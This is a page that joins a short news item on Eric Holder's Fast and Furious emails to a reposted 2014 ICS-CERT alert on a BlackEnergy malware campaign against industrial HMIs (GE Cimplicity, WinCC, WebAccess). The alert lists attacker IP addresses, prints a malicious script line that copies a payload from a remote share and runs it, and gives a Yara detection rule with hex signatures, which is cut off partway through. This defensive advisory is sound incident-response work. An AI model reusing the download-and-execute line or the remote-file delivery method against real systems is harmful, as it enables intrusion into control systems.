In one email from March 2011, after being sent a news story about the Fast and Furious investigation, Holder told staff, "I hope there is another side to the story." Later, after the ATF deputy director assured Holder aides that "we did not allow guns to walk," Holder responded to staff with, "Do they really, really know?"
That August, Holder was told by staff that about 25 U.S. attorneys was upset that the resignation of Dennis Burke, then the U.S. attorney in Arizona, was announced simultaneously with the reassignment of ATF Acting Director Ken Melson. Holder wondered "why wouldn't we get the benefit of the doubt. Assume we're doing things for the right reasons and in the right way."
Holder later added, "Some people can kiss my ass."
Government AgenciesCrime & JusticeEric HolderJustice Department
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CYBER!
Ongoing Sophisticated Malware Campaign Compromising ICS (Update A) | ICS-CERT
Sun, 09 Nov 2014 01:50
SUMMARYThis alert update is a follow-up to the original NCCIC/ICS-CERT Alert titled ICS-ALERT-14-281-01 Ongoing Sophisticated Malware Campaign Compromising ICS that was published October 28, 2014, on the ICS-CERT web site.
ICS-CERT has identified a sophisticated malware campaign that has compromised numerous industrial control systems (ICSs) environments using a variant of the BlackEnergy malware. Analysis indicates that this campaign has been ongoing since at least 2011. Multiple companies working with ICS-CERT have identified the malware on Internet-connected human-machine interfaces (HMIs).
ICS-CERT originally published information and technical indicators about this campaign in a TLP Amber alert (ICS-ALERT-14-281-01P) that was released to the US-CERT secure portal on October 8, 2014, and updated on October 17, 2014. US critical infrastructure asset owners and operators can request access to this information by emailing ics-cert@hq.dhs.gov.
DETAILS
ICS-CERT has determined that users of HMI products from various vendors have been targeted in this campaign, including GE Cimplicity, Advantech/Broadwin WebAccess, and Siemens WinCC. It is currently unknown whether other vendor's products have also been targeted. ICS'‘CERT is working with the involved vendors to evaluate this activity and also notify their users of the linkages to this campaign.
At this time, ICS-CERT has not identified any attempts to damage, modify, or otherwise disrupt the victim systems' control processes. ICS-CERT has not been able to verify if the intruders expanded access beyond the compromised HMI into the remainder of the underlying control system. However, typical malware deployments have included modules that search out any network-connected file shares and removable media for additional lateral movement within the affected environment. The malware is highly modular and not all functionality is deployed to all victims.
In addition, public reports reference a BlackEnergy-based campaign against a variety of overseas targets leveraging vulnerability CVE-2014-4114 (affecting Microsoft Windows and Windows Server 2008 and 2012). ICS-CERT has not observed the use of this vulnerability to target control system environments. However, analysis of the technical findings in the two report shows linkages in the shared command and control infrastructure between the campaigns, suggesting both are part of a broader campaign by the same threat actor.
ICS-CERT strongly encourages asset owners and operators to look for signs of compromise within their control systems environments. Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation.
CIMPLICITY
ICS-CERT analysis has identified the probable initial infection vector for systems running GE's Cimplicity HMI with a direct connection to the Internet. Analysis of victim system artifacts has determined that the actors have been exploiting a vulnerability in GE's Cimplicity HMI product since at least January 2012. The vulnerability, CVE-2014-0751, was published in ICS'‘CERT advisory ICSA-14-023-01 on January 23, 2014. Guidance for remediation was published to the GE IP portal in December 2013. GE has also released a statement about this campaign on the GE security web site.
Using this vulnerability, attackers were able to have the HMI server execute a malicious .cim file [Cimplicity screen file] hosted on an attacker-controlled server.
Using this vulnerability, attackers were able to have the HMI server execute a malicious .cim file [Cimplicity screen file] hosted on an attacker-controlled server.
Figure 1. Log entries showing execution of remote .cim file.Date Request Type Requestor IP Screen Served
1/17/2012 7:16 Start //212.124.110.146/testshare/payload.cim
9/9/2013 1:49 Start //46.165.250.32/incoming/devlist.cim
9/10/2014 3:59 Start \\94.185.85.122\public\config.bak
ICS-CERT has analyzed two different .cim files used in this campaign: devlist.cim and config.bak. Both files use scripts to ultimately install the BlackEnergy malware.
devlist.cim: This file uses an embedded script that is executed as soon as the file is opened using the Screen Open event. The obfuscated script downloads the file ''newsfeed.xml'' from the same remote server, which it saves in the Cimplicity directory using the name .wsf. The name is randomly generated using upper and lower case letters, numbers, and hyphens. The .wsf script is then executed using the Windows command-based script host (cscript.exe). The new script downloads the file ''category.xml,'' which it saves in the Cimplicity directory using the name ''CimWrapPNPS.exe.'' CimWrapPNPS.exe is a BlackEnergy installer that deletes itself once the malware is installed.config.bak: This file uses a script that is executed when the file is opened using the OnOpenExecCommand event. The script downloads a BlackEnergy installer from a remote server, names it ''CimCMSafegs.exe,'' copies it into the Cimplicity directory, and then executes it. The CimCMSafegs.exe file is a BlackEnergy installer that deletes itself after the malware is installed.Figure 2. Script executed by malicious config.bak file.cmd.exe /c ''copy \\94[dot]185[dot]85[dot]122\public\default.txt ''%CIMPATH%\CimCMSafegs.exe'' && start ''WOW64'' ''%CIMPATH''\CimCMSafegs.exe''
Analysis suggests that the actors likely used automated tools to discover and compromise vulnerable systems. ICS-CERT is concerned that any companies that have been running Cimplicity since 2012 with their HMI directly connected to the Internet could be infected with BlackEnergy malware. ICS-CERT strongly recommends that companies use the indicators and Yara signature in this alert to check their systems. In addition, we recommend that all Cimplicity users review ICS-CERT advisory ICSA-14-023-01 and apply the recommended mitigations.
WINCC
Resident in the same folder hosting the Cimplicity .cim files referenced above was a file with the name ''CCProjectMgrStubEx.dll.'' While this file is not part of the WinCC product, it uses a name that is similar to legitimate WinCC files. Given the use of filenames matching legitimate Cimplicity files to exploit Cimplicity systems, the presence of this file alongside other BlackEnergy campaign files suggests that WinCC has also been targeted. This has not been independently confirmed by ICS-CERT.
ADVANTECH/BROADWIN WEBACCESS
A number of the victims associated with this campaign were running the Advantech/BroadWin WebAccess software with a direct Internet connection. We have not yet identified the initial infection vector for victims running this platform but believe it is being targeted.
DETECTIONYARA SIGNATURE
ICS-CERT has produced a Yara signature to aid in identifying if the malware files are present on a given system. This signature is provided ''as is'' and has not been fully tested for all variations or environments. Any positive or suspected findings should be immediately reported to ICS'‘CERT for further analysis and correlation. The Yara signature is available at:
https://ics-cert.us-cert.gov/sites/default/files/file_attach/ICS-ALERT-14-281-01.yara
YARA is a pattern-matching tool used to by computer security researchers and companies to help identify malware. You can find usage help and download links on the main Yara page at http://plusvic.github.io/yara/. For use on a Windows machine, you can download the precompiled binaries at:
https://b161268c3bf5a87bc67309e7c870820f5f39f672.googledrive.com/host/0BznOMqZ9f3VUek8yN3VvSGdhRFU/
--------- Begin Update A Part 1 of 1 --------For security purposes, please validate the downloaded Yara binaries by comparing the hash of your downloaded binary with the hashes below:
Yara version 3.1.0 32-bit
yara32.exe:
MD5 - fddd3831d7026c81cbd189ac567421ab
SHA256 - 865992534620d38b988df10a79a39bb12519f44aee8a56233a58cfb54a48c895
yarac32.exe:
MD5 - 87273afb970743c7eee001a3ec6a71cd
SHA256 - 94ece384cded7e35ca8d600deeea7d59776098f4e459ddab5a94b1f470e59174
Yara version 3.1.0 64-bityara64.exe:
MD5 - 105c05f8d789e85c36dd845b5fbb323e
SHA256 - 77c657dacac4d737c3791d284ea8c750ff7fffe88d47397e049586a1980710be
yarac64.exe:
MD5 - c9b79b1a4cf4fb9a31391a1c15bed6d6
SHA256 - 7bfcbafc1b814be1ec337fd653289c073913140325685119445afa471e65eb94
--------- End Update A Part 1 of 1----------Once downloaded, extract the zip archive to the computer where you need to run the signatures and copy the ICS-CERT Yara rule into the same folder. For a comprehensive search (which will take a number of hours, depending on the system), use the following command:
yara32.exe -r -s ICS-ALERT-14-281-01AP.yara C: >> yara_results.txt
For a quicker search, use the following:
(for Windows Vista and later)
yara32.exe -r -s ICS-ALERT-14-281-01AP.yara C:\Windows >> yara_results.txt
yara32.exe -r -s ICS-ALERT-14-281-01AP.yara C:\Users >> yara_results.txt
(for Windows XP or earlier)
yara32.exe -r -s ICS-ALERT-14-281-01AP.yara C:\Windows >> yara_results.txt
yara32.exe -r -s ICS-ALERT-14-281-01AP.yara "C:\Documents and Settings" >> yara_results.txt
These commands will create a text file named ''Yara_results.txt'' in the same folder as the rule and Yara executable. If the search returns hits, you can send this file to ICS-CERT, and we will verify if your system is compromised by BlackEnergy.
rule ICS_ALERT_14_281_01AP_Black_Energy
//ICS-CERT BlackEnergy campaign Yara Rule version 3
{
strings:
$a1 = "Adobe Flash Player Installer" wide nocase
$a3 = "regedt32.exe" wide nocase
$a4 = "WindowsSysUtility" wide nocase
$a6 = "USB MDM Driver" wide nocase
$b1 = {00 05 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 3F 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C 04 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 1C 02 00 00 01 00 30 00 30 00 31 00 35 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 1C 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 48 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 28 00 08 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 15 00 B0 04 09 04 B0 04}
$b2 = {34 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 03 00 03 00 04 00 02 00 03 00 03 00 04 00 02 00 3F 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 02 00 00 00 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 70 02 00 00 00 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4A 00 15 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 53 00 6F 00 6C 00 69 00 64 00 20 00 53 00 74 00 61 00 74 00 65 00 20 00 4E 00 65 00 74 00 77 00 6F 00 72 00 6B 00 73 00 00 00 00 00 62 00 1D 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00 00 30 00 08 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 32 00 09 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 76 00 29 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 41 00 64 00 6F 00 62 00 65 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 73 00 20 00 49 00 6E 00 63 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 65 00 64 00 00 00 00 00 3A 00 09 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 5A 00 1D 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00 00 34 00 08 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 44 00 00 00 00 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 46 45 32 58}
$b3 = {C8 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 04 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 48 00 10 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 49 00 44 00 45 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 39 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04}
$b4 = {9C 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 06 00 01 40 B0 1D 01 00 06 00 01 40 B0 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FA 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 D6 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 58 00 18 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6F 00 72 00 20 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 6C 00 26 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 20 00 28 00 77 00 69 00 6E 00 37 00 5F 00 72 00 74 00 6D 00 2E 00 30 00 39 00 30 00 37 00 31 00 33 00 2D 00 31 00 32 00 35 00 35 00 29 00 00 00 3A 00 0D 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 42 00 0D 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}
$b5 = {78 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 00 00 05 00 6A 44 B1 1D 00 00 05 00 6A 44 B1 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D6 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 B2 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 00 00 72 00 29 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 20 00 28 00 77 00 69 00 6E 00 37 00 73 00 70 00 31 00 5F 00 72 00 74 00 6D 00 2E 00 31 00 30 00 31 00 31 00 31 00 39 00 2D 00 31 00 38 00 35 00 30 00 29 00 00 00 00 00 30 00 08 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 63 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 40 00 0C 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 63 00 2E 00 65 00 78 00 65 00 00 00 58 00 1C 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 20 00 2D 00 20 00 55 00 6E 00 69 00 63 00 6F 00 64 00 65 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}
$b6 = {D4 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 10 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 53 00 65 00 72 00 69 00 61 00 6C 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 34 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 